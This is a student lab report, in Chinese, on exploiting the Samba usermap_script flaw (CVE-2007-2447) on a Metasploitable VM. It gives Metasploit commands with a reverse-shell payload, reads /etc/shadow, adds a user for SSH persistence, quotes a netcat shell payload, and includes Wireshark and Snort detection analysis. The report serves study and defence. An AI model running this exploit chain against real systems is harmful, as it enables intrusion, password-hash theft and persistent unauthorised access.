20253902 吴晨宇 2025-2026-2 《网络攻防实践》第七周作业
一、知识点总结
1.1 Samba Usermap_script 漏洞
Samba 是 Linux 用来实现 Windows 文件共享(SMB 协议)的服务,常见于内网文件服务器场景。在其配置文件中,有一个 username map script 选项,用于在用户登录时调用脚本,对用户名进行映射处理。
问题出现在旧版本(如 Samba 3.x)中,这一机制在处理用户输入时缺乏必要的安全过滤。攻击者可以构造特殊的用户名,让其在传递给脚本时被当作 shell 命令执行,从而触发远程命令执行(RCE)。本质上,这是一个“用户输入被直接执行”的漏洞。 简单来说,原本只是“用户名 → 映射脚本”的过程,被攻击者变成了“用户名 → 命令执行”。这类漏洞的危害非常直接,一旦利用成功,攻击者可以在目标系统上执行任意命令,甚至获取服务器控制权。
该漏洞的代表编号是 CVE-2007-2447,在安全学习和CTF中非常常见。防护方式也相对明确,例如升级 Samba 版本、禁用该配置项,以及避免不必要的匿名访问。
1.2 /etc/shadow
文件 /etc/shadow 是 Linux 系统中用于存储用户密码信息的关键文件。与 /etc/passwd 不同,它的权限更加严格,通常只有 root 用户可以读取。这种设计是为了防止普通用户获取密码哈希,从而降低被破解的风险。 文件中的每一行对应一个用户,使用冒号分隔多个字段,其中最关键的是第二个字段——加密后的密码。现代系统通常使用带盐值的哈希算法(如 SHA-512,以 $6$ 开头),即使密码相同,存储结果也会不同,从而提升安全性。 除了密码本身,这个文件还记录了密码修改时间、有效期、过期提醒等信息,是 Linux 用户认证体系的重要组成部分。 一旦 /etc/shadow 被未授权获取,攻击者可以在本地进行离线破解(如使用字典攻击或暴力破解),这在提权攻击中非常常见。因此,这个文件被认为是系统中最敏感的数据之一,其权限控制至关重要。
二、操作流程
2.1 本地漏洞利用
2.1.1 实验环境信息
| 角色 | IP 地址 | 操作系统 | 作用 |
|---|---|---|---|
| 攻击机 | 192.168.31.33 |
Kali Linux | 使用 Nmap、Metasploit 发起漏洞探测与攻击 |
| 靶机 | 192.168.31.67 |
Metasploitable Linux | 运行存在漏洞的 Samba 服务,作为被攻击目标 |
实验说明:
本实验在本地授权靶场环境中完成,攻击机与靶机处于同一局域网内。实验内容仅用于网络安全学习与漏洞验证,严禁用于任何未授权的网络环境。
2.1.2 实际攻击
(1) 漏洞探测
在进行漏洞利用之前,首先使用 Nmap 对靶机的 SMB/Samba 服务端口进行探测。本次重点扫描 139 和 445 端口,并调用 smb-vuln 系列脚本检测目标是否存在已知漏洞:
nmap -p 139,445 --script=smb-vuln* --script-args=unsafe=1 192.168.31.67
从扫描结果可以看到,目标主机开放了 SMB/Samba 相关端口,Nmap 脚本也对若干已知漏洞进行了匹配性检测。这一步为后续选择 Metasploit 攻击模块提供了依据。
(2) 选择漏洞利用模块
确认目标存在 Samba 服务后,进入 Metasploit 控制台:
msfconsole
随后加载本次实验使用的漏洞利用模块:
use exploit/multi/samba/usermap_script
exploit/multi/samba/usermap_script 模块用于利用 Samba 的 usermap_script 漏洞。其典型利用方式是在 SMB 认证过程中构造特殊的用户名字段,从而触发系统命令执行。
(3) 参数配置
进入漏洞利用模块后,可以使用 show options 查看当前模块需要配置的参数:
从输出结果中可以看到,该模块需要配置目标主机地址、Payload 类型以及本机监听地址等参数。我选择 Unix 反向 Shell 作为攻击载荷:
set payload cmd/unix/reverse
这里的 cmd/unix/reverse 表示在漏洞利用成功后,由靶机主动回连攻击机,从而让攻击机获得目标主机的 Shell 控制权。
(4) 发起攻击
确认参数配置无误后,执行漏洞利用:
exploit
从执行结果可以看到,Metasploit 成功建立了会话,并获得了目标主机的 Shell。
(5) 权限验证
获得 Shell 后,根据实验要求,需要进一步确认当前所在主机以及获得的权限。这里执行了以下命令:
ifconfig
whoami
cat /etc/shadow
各命令作用如下:
| 命令 | 作用 | 分析 |
|---|---|---|
ifconfig |
查看目标主机网络信息 | 用于确认当前 Shell 所在主机的 IP 与靶机一致 |
whoami |
查看当前用户身份 | 用于判断当前 Shell 权限 |
cat /etc/shadow |
读取系统密码哈希文件 | 该文件通常只有 root 权限可以读取 |
从执行结果可以看到,当前 Shell 可以正常执行系统命令,并且能够成功读取 /etc/shadow 文件。由于 /etc/shadow 是 Linux 系统中保存用户密码哈希的关键文件,普通用户通常没有读取权限,因此这一结果说明当前 Shell 已具有较高(root 级别)权限。
2.2 远程攻击
2.2.1 实验环境信息
| 角色 | IP 地址 | 操作系统 | 主要作用 |
|---|---|---|---|
| 攻击机 | 192.168.43.173 |
Kali Linux | 使用 Metasploit 发起漏洞利用攻击 |
| 防守方 / 靶机 | 192.168.43.75 |
Metasploitable Linux | 运行存在漏洞的 Samba 服务,作为被攻击目标 |
2.2.2 网络配置
在进行渗透测试实验之前,需要先完成攻击机与靶机的网络配置,确保两台主机处于同一网络环境中并能够正常通信。由于校园网 DHCP 分配存在异常,本实验改用 手机热点 作为实验网络环境,使 Kali 攻击机与 Metasploitable 靶机处于同一局域网中。
由于此前 Metasploitable 靶机曾配置过静态 IP,需要先修改网络配置文件,将静态 IP 配置注释掉,使其重新通过 DHCP 自动获取 IP 地址。在 Metasploitable 中执行:
vim /etc/network/interfaces
需要注释掉原先的静态 IP 配置内容,主要包括下面三行:
# address <静态IP地址>
# netmask <子网掩码>
# gateway <网关地址>
修改完成后,需要重启网络服务,使新的配置生效。由于 Metasploitable 操作系统版本较旧,不能使用较新的 systemctl 管理方式,而需要通过传统的 init 脚本重启网络服务:
/etc/init.d/networking restart
若网络服务重启成功,说明新的网络配置已被系统重新加载。此时可以继续查看靶机是否成功获取到 IP 地址:
结果说明 DHCP 分配正常,靶机已成功接入手机热点所在的局域网。
2.2.3 连通性测试
完成网络配置后,需要在 Kali 攻击机上测试与 Metasploitable 靶机之间的连通性。在 Kali 中执行:
ping 192.168.43.75
从 ping 结果可以看到,Kali 攻击机能够正常收到来自靶机 192.168.43.75 的响应,说明攻击机与靶机之间网络通信正常,可以进入下一步漏洞利用阶段。
2.2.4 发起攻击
在完成网络配置和连通性测试后,开始使用 Metasploit 对目标靶机的 Samba 服务进行漏洞利用。本次使用的漏洞利用模块为:
exploit/multi/samba/usermap_script
该模块主要针对 Samba 服务中的 usermap_script 漏洞进行攻击。若目标主机运行存在漏洞的 Samba 版本,则可能通过该漏洞执行远程命令,从而获得目标主机的 Shell 权限。
在使用 Metasploit 之前,需要先确认目标靶机的 IP 地址、攻击机的 IP 地址,以及目标主机是否开放 Samba 服务相关端口。
首先在 Kali 中启动 Metasploit,并选择本次实验所需的漏洞利用模块:
msfconsole
use exploit/multi/samba/usermap_script
进入模块后,使用以下命令查看该模块需要配置的参数:
show options
从模块参数中可以看到,至少需要配置目标主机地址 RHOSTS,同时根据 Payload 类型配置本机监听地址 LHOST 等参数。
接着,设置攻击目标的 IP 地址。根据前面网络配置阶段获取到的结果,靶机 IP 为 192.168.43.75,因此在 Metasploit 中设置:
set RHOSTS 192.168.43.75
然后设置 Payload,本实验选择反向 Shell 作为攻击载荷:
set PAYLOAD cmd/unix/reverse
再设置 Kali 攻击机的监听地址 LHOST:
set LHOST 192.168.43.173
参数说明:
RHOSTS表示目标靶机 IP 地址;
LHOST表示攻击机用于接收反向连接的 IP 地址;
PAYLOAD表示攻击成功后执行的载荷类型。
确认参数无误后,执行漏洞利用:
exploit
从执行结果可以看到,Metasploit 成功向目标 Samba 服务发送了攻击载荷,并建立了远程 Shell 连接。
成功获得 Shell 后,执行一些基础命令确认当前所在主机以及当前权限:
whoami
id
uname -a
pwd
从命令执行结果可以看到,当前已经成功进入目标 Linux 靶机,并且能够正常执行系统命令,说明漏洞利用成功。
2.2.5 读写测试
为了进一步验证当前 Shell 是否具有文件读写能力,在目标主机中进行简单的读写测试:在临时目录下创建测试文件并读取关键系统文件。
mkdir wcy
cd wcy
echo "20253902 吴晨宇 Please give me 100 冒!" > test_20253902.txt
cat test_20253902.txt
cat /etc/shadow
从测试结果可以看到,当前 Shell 不仅能够成功创建文件并读取文件内容,还能够读取 /etc/shadow 这一仅 root 可读的敏感文件,说明已经具备较高的文件操作权限。
2.2.6 新建用户测试
为了进一步验证当前权限,尝试在目标系统中新建用户:
useradd -m -s /bin/bash wcy20253902
passwd wcy20253902
ls -ld /home/wcy20253902
新建用户属于高权限操作,通常只有 root 或具备相应权限的用户才能执行。该操作成功执行,进一步印证了本次漏洞利用所获得的是 root 级别权限。
2.2.7 SSH 连接测试
在 Shell 中可查看目标主机端口开放情况,发现 22 端口处于开放状态,于是我测试新建的用户能否通过 SSH 正常登录靶机。由于 Metasploitable 使用的 OpenSSH 版本较旧,默认算法与新版 Kali 不兼容,因此需要在命令中显式指定允许的 RSA 相关算法:
ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa wcy20253902@192.168.43.75
从结果可以看到,使用新建的用户 wcy20253902 成功通过 SSH 登录了靶机,说明此前通过漏洞利用创建的账号具备合法登录权限,同时也印证了漏洞利用链从"命令执行 → 用户创建 → 远程持久化访问"的完整闭环。
攻击阶段命令总结
| 操作步骤 | 命令 | 作用 |
|---|---|---|
| 启动 Metasploit | msfconsole |
进入 Metasploit 控制台 |
| 选择攻击模块 | use exploit/multi/samba/usermap_script |
使用 Samba Usermap_script 漏洞利用模块 |
| 查看模块参数 | show options |
查看需要配置的攻击参数 |
| 设置目标地址 | set RHOSTS 192.168.43.75 |
指定目标靶机 IP |
| 设置 Payload | set PAYLOAD cmd/unix/reverse |
使用 Unix 反向 Shell |
| 设置监听地址 | set LHOST <Kali攻击机IP> |
指定攻击机接收连接的 IP |
| 执行攻击 | exploit 或 run |
发起漏洞利用 |
| 查看当前用户 | whoami |
判断当前 Shell 权限 |
| 查看用户权限 | id |
查看当前用户 UID、GID 等信息 |
| 查看系统信息 | uname -a |
确认当前目标系统信息 |
| 文件写入测试 | echo "metasploit test" > test.txt |
验证是否具备文件写入权限 |
| 文件读取测试 | cat test.txt |
验证是否具备文件读取权限 |
| 新建用户 | useradd testuser |
验证是否具备用户管理权限 |
| 查看用户是否存在 | cat /etc/passwd | grep testuser |
确认用户是否创建成功 |
防守方流量分析
1. 过滤攻守双方通信流量
首先,在 Wireshark 中通过 IP 地址过滤攻击机与靶机之间的通信流量:
ip.addr == 192.168.43.173 && ip.addr == 192.168.43.75

通过该过滤条件,可以排除其他无关流量,只保留攻击机与靶机之间的数据包,便于后续分析 SMB 漏洞利用过程。
2. 分析 SMB 恶意请求
在过滤后的流量中,进一步查看 SMB / NTLMSSP 认证相关数据包,可以发现异常的认证字段。在抓包结果中,Account 字段并不是正常的用户名,而是被插入了一段命令执行载荷。

从图中可以看到,Account 字段中出现了类似以下内容:
nohup mkfifo /tmp/wupsn; nc -l -p 4444; /bin/sh
该内容并不是正常的 SMB 用户名,而是 Metasploit 构造的命令执行 Payload。Samba usermap_script 漏洞的利用方式,正是通过在 SMB 认证过程中构造特殊用户名字段,使目标 Samba 服务在处理用户名映射时执行攻击者提供的系统命令。
3. 进一步确认 Shell 连接行为
除了 SMB 恶意 Payload 外,还可以继续观察后续流量,判断攻击者是否成功建立远程 Shell。

结合前面 Payload 中出现的 nc -l -p 4444,可以重点关注 4444 端口通信。如果在攻击机与靶机之间出现持续的 4444 端口 TCP 通信,通常说明攻击者已经建立了远程 Shell 通道。
| 流量特征 | 说明 |
|---|---|
| SMB 流量中出现命令 Payload | 攻击者发送漏洞利用请求 |
出现 4444 端口通信 |
疑似远程 Shell 通道建立 |
| 后续流量中出现系统命令 | 攻击者已经进入命令执行阶段 |
4. 使用 Snort 编写简单检测规则
为了对攻击流量进行自动化检测,可以将前面发现的攻击特征写入 Snort 本地规则文件 local.rules 中。

本次规则主要围绕以下特征进行检测:
| 检测内容 | 规则关键字 | 说明 |
|---|---|---|
| 远程 Shell 通信 | 4444 |
检测靶机与攻击机之间是否存在 Shell 连接 |
| 权限验证命令 | id |
检测攻击者是否执行权限查看命令 |
| 密码修改命令 | passwd |
检测攻击者是否尝试进行账户相关操作 |
我写的当前规则主要基于端口和关键字符串匹配,属于简单特征检测,可能存在误报或漏报。在真实环境中,需要结合协议字段、流量方向、上下文内容等条件进一步优化规则。
5. Snort 检测结果分析
使用 Snort 加载 local.rules 后,对抓包文件进行离线检测,得到如下告警结果:

从检测结果可以看到,Snort 触发了多条告警,主要包括:
| 告警内容 | 含义 |
|---|---|
Possible remote shell traffic on port 4444 |
检测到 4444 端口存在疑似远程 Shell 通信 |
Post-exploitation command detected - id |
检测到攻击者执行了 id 命令 |
Post-exploitation command detected - passwd |
检测到攻击者执行了 passwd 命令 |
其中,4444 端口告警说明靶机 192.168.43.75 与攻击机 192.168.43.173 之间存在远程 Shell 通信;而 id 命令通常用于查看当前用户 UID、GID 和用户组信息,属于攻击者获取 Shell 后常见的权限验证行为;passwd 命令则说明攻击者可能正在尝试修改密码或配合新建用户进行权限维持。
Snort 不仅检测到了
4444端口远程 Shell 通信,还检测到了id、passwd等后渗透命令,说明攻击者已经获得了目标主机的命令执行权限。
当然,这次写的rules实在非常简陋,没法完全反应攻击的全貌,还是需要用更好更完善的规则来分析。
三、遇到的问题
3.1 ssh连接不上
第一次直接 SSH 连接靶机时出现了 Unable to negotiate ... no matching host key type found. Their offer: ssh-rsa,ssh-dss,这不是用户名或密码错误,而是 Kali 上较新的 OpenSSH 客户端默认禁用了老旧的 ssh-rsa、ssh-dss 主机密钥算法;而 Metasploitable 系统较旧,只提供这些旧算法,所以双方无法协商连接,解决方法是在连接时临时允许使用 ssh-rsa 算法。

3.2 snort规则失效
由于snort2和snort3的区别,尽量避免/#用于注释,注意命令参数中的绝对路径问题
3.3 校园网dhcp分配问题
可能是因为校园网dhcp的分配问题,会导致虚拟机分配到169.254开头的ip,或者直接分配不到ip,这真的非常怪。
169.254.0.0/16 属于 APIPA(Automatic Private IP Addressing,自动专用 IP 寻址) 地址段,由 IETF 在 RFC 3927 中定义,也称为 链路本地地址(Link-Local Address)。
这个地址段的关键特点是:它并非由 DHCP 服务器分配,而是客户端主机在 DHCP 获取失败时,由操作系统自行生成的"备用地址"。当系统开机后向网络广播 DHCP 请求,但在规定时间内未收到任何 DHCP 服务器的应答时,系统会自动从 169.254.1.0 到 169.254.254.255 范围内随机选取一个地址,并通过 ARP 探测确认该地址在本地链路上未被占用后,赋给自己使用。
导致这种的情况有很多,比如网络链路问题、网卡驱动异常或者广播风暴或 IP 冲突等。参考上一章的问题解决,换成手机热点后,这个问题就解决了。
四、心得体会
这次实验主要是做了漏洞利用,原理与之前相同,重点还是分析msf中的需要利用的参数。通过扮演防守方用于分析,可以更加清晰地了解到该漏洞地利用方式,这种漏洞原理属于比较常见的思路,利用服务器对命令地异常执行获取shell权限(比如php文件上传)。
借助这次实验,我去了解了一些ids相关科研的知识。我也尝试利用AI去生成一些相关的snort规则,用于对流量包进行分析,虽然规则非常有针对性(不对其他攻击具有泛化性),而且数量很少很简陋,但是确实也能有一些效果,现在的ids研究,基于LLM(甚于说基于基础的语言模型bert这种),也有一些基于启发式算法的古法检测,感觉还是比较卷的,之前和本科做这一块的老师交流一下ids的方向,老师认为现在很强调工控场景下的真实数据,或者是对加密数据处理,一些老的数据集现在已经可以是刷满了,刷sota非常没有意义。

浙公网安备 33010602011771号